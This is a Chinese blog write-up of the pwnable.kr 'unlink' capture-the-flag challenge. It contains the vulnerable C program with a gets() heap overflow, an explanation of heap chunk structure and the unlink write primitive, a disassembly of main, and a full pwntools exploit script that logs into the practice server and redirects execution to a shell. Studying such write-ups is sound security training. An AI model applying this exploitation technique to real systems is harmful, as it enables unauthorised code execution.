pwnable.kr unlink之write up

我们来看一下源代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

思路是堆溢出unlink漏洞的利用,记住这来之不易的命令:

 首先了解一下关于unlink的利用:

http://wooyun.jozxing.cc/static/drops/tips-7326.html

0x01 heap chunk的结构:


+-----------+---------+------+------+-------------+
|           |         |      |      |             |
|           |         |      |      |             |
| prev_size |size&Flag|  fd  |  bk  |             |
|           |         |      |      |             |
|           |         |      |      |             |
+-----------+---------+------+------+-------------+

如果本chunk前面的chunk是空闲的,那么第一部分prev_size会记录前面一个chunk的大小,第二部分是本chunksize,因为它的大小需要8字节对齐,所以size的低三位一定会空闲出来,这时候这三个位置就用作三个Flag(最低位:指示前一个chunk是否正在使用;倒数第二位:指示这个chunk是否是通过mmap方式产生的;倒数第三位:这个chunk是否属于一个线程的arena)。之后的FD和BK部分在此chunk是空闲状态时会发挥作用。FD指向下一个空闲的chunk,BK指向前一个空闲的chunk,由此串联成为一个空闲chunk的双向链表。如果不是空闲的。那么从fd开始,就是用户数据了。


0x02 检查是否可以向后合并


首先需要检查previous chunk是否是空闲的,如果前一个chunk正在使用则不满足向后合并


0x03 检查是否可以向前合并


在这里需要检查next chunk是否是空闲的(通过下下个chunk的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于chunk first而言的)的过程中,首先当前chunk+当前size可以引导到下个chunk,然后从下个chunk的开头加上下个chunksize就可以引导到下下个chunk。但是我们已经把下个chunksize覆盖为了-4,那么它会认为下个chunkprev_size开始就是下下个chunk了,既然已经找到了下下个chunk,那就就要去看看size的最低位以确定下个chunk是否在使用,当然这个size-4,所以它指示下个chunk是空闲的。在这个时候,就要发生向前合并了。即first chunk会和 first chunk的下个chunk(即second chunk)发生合并。在此时会触发unlink(second)宏,想将second从它所在的bin list中解引用。

这道题的漏洞就是gets将shellcode写入造成了堆溢出。

首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。

该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。

在ida中打开main函数:

stack address 和heap address已经给出来了

看一下main函数:

pwndbg> disass main
Dump of assembler code for function main:
   0x0804852f <+0>:    lea    ecx,[esp+0x4]
   0x08048533 <+4>:    and    esp,0xfffffff0
   0x08048536 <+7>:    push   DWORD PTR [ecx-0x4]
   0x08048539 <+10>:    push   ebp
   0x0804853a <+11>:    mov    ebp,esp
   0x0804853c <+13>:    push   ecx
   0x0804853d <+14>:    sub    esp,0x14
   0x08048540 <+17>:    sub    esp,0xc
   0x08048543 <+20>:    push   0x400
   0x08048548 <+25>:    call   0x80483a0 <malloc@plt>
   0x0804854d <+30>:    add    esp,0x10
   0x08048550 <+33>:    sub    esp,0xc
   0x08048553 <+36>:    push   0x10
   0x08048555 <+38>:    call   0x80483a0 <malloc@plt>
   0x0804855a <+43>:    add    esp,0x10
   0x0804855d <+46>:    mov    DWORD PTR [ebp-0x14],eax
   0x08048560 <+49>:    sub    esp,0xc
   0x08048563 <+52>:    push   0x10
   0x08048565 <+54>:    call   0x80483a0 <malloc@plt>
   0x0804856a <+59>:    add    esp,0x10
   0x0804856d <+62>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048570 <+65>:    sub    esp,0xc
   0x08048573 <+68>:    push   0x10
   0x08048575 <+70>:    call   0x80483a0 <malloc@plt>
   0x0804857a <+75>:    add    esp,0x10
   0x0804857d <+78>:    mov    DWORD PTR [ebp-0x10],eax
   0x08048580 <+81>:    mov    eax,DWORD PTR [ebp-0x14]
   0x08048583 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x08048586 <+87>:    mov    DWORD PTR [eax],edx
   0x08048588 <+89>:    mov    edx,DWORD PTR [ebp-0x14]
   0x0804858b <+92>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804858e <+95>:    mov    DWORD PTR [eax+0x4],edx
   0x08048591 <+98>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048594 <+101>:    mov    edx,DWORD PTR [ebp-0x10]
   0x08048597 <+104>:    mov    DWORD PTR [eax],edx
   0x08048599 <+106>:    mov    eax,DWORD PTR [ebp-0x10]
   0x0804859c <+109>:    mov    edx,DWORD PTR [ebp-0xc]
   0x0804859f <+112>:    mov    DWORD PTR [eax+0x4],edx
   0x080485a2 <+115>:    sub    esp,0x8
   0x080485a5 <+118>:    lea    eax,[ebp-0x14]
   0x080485a8 <+121>:    push   eax
   0x080485a9 <+122>:    push   0x8048698
   0x080485ae <+127>:    call   0x8048380 <printf@plt>
   0x080485b3 <+132>:    add    esp,0x10
   0x080485b6 <+135>:    mov    eax,DWORD PTR [ebp-0x14]
   0x080485b9 <+138>:    sub    esp,0x8
   0x080485bc <+141>:    push   eax
   0x080485bd <+142>:    push   0x80486b8
   0x080485c2 <+147>:    call   0x8048380 <printf@plt>
   0x080485c7 <+152>:    add    esp,0x10
   0x080485ca <+155>:    sub    esp,0xc
   0x080485cd <+158>:    push   0x80486d8
   0x080485d2 <+163>:    call   0x80483b0 <puts@plt>
   0x080485d7 <+168>:    add    esp,0x10
   0x080485da <+171>:    mov    eax,DWORD PTR [ebp-0x14]
   0x080485dd <+174>:    add    eax,0x8
   0x080485e0 <+177>:    sub    esp,0xc
   0x080485e3 <+180>:    push   eax
   0x080485e4 <+181>:    call   0x8048390 <gets@plt>
   0x080485e9 <+186>:    add    esp,0x10
   0x080485ec <+189>:    sub    esp,0xc
   0x080485ef <+192>:    push   DWORD PTR [ebp-0xc]
   0x080485f2 <+195>:    call   0x8048504 <unlink>
   0x080485f7 <+200>:    add    esp,0x10
   0x080485fa <+203>:    mov    eax,0x0
   0x080485ff <+208>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:    leave  
   0x08048603 <+212>:    lea    esp,[ecx-0x4]
   0x08048606 <+215>:    ret    

 从上面红色阴影部分得出,A,B,C的地址分别为ebp-0x14,ebp-0xc,ebp-0x10,再看黄色部分的unlink函数,leave在32位汇编下相当于

mov esp,ebp                                            
pop ebp

et指令的作用是栈顶字单元出栈,其值赋给EIP寄存器,只要能够修改ESP寄存器的内容修改为shellcode的地址就能够执行shellcode。
在该段代码中在ecx-0x4的地址被传送给esp,ebp-0x4的内容被赋值给了ecx,由此可知我们需要修改的是ebp-0x4的内容。
在将shellcode写入A中后,因为A的地址为ebp-0x14,需要修改的地址为ebp-0x4,则ebp-0x4相对于A的位置为&A+0x10。

由图知道,shellcode的地址为heap address+8,又因为是将ecx-4的指针赋值给esp,shellcode的地址还需要加8

+-------------------+-------------------+  <- [A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|     shellcode     |       AAAA        |
+---------------------------------------+
|              AAAAAAAA                 |
+---------------------------------------+  <- [B]
|       fd1         |        bk2        |
+-------------------+-------------------+
所以 :
fd1 = heap_addr+12
bk2 = stack_addr+16

而ecp=ebp-0x4,所以shellcode+8=ebp-0x4。于是写出exp:

 1 from pwn import *
 2 
 3 shell_addr = 0x080484eb
 4 
 5 s =  ssh(host='pwnable.kr',
 6          port=2222,
 7          user='unlink',
 8          password='guest'
 9         )
10 p = s.process("./unlink")
11 p.recvuntil("here is stack address leak: ")
12 stack_addr = p.recv(10)
13 stack_addr = int(stack_addr,16)
14 p.recvuntil("here is heap address leak: ")
15 heap_addr = p.recv(9)
16 heap_addr = int(heap_addr,16)
17 
18 payload = p32(shell_addr)+'a'*12+p32(heap_addr + 12)+p32(stack_addr +16)
19 p.send(payload)
20 p.interactive()

跑出flag:

 

 
posted @ 2017-08-18 14:27  S_s_s  阅读(473)  评论(0编辑  收藏  举报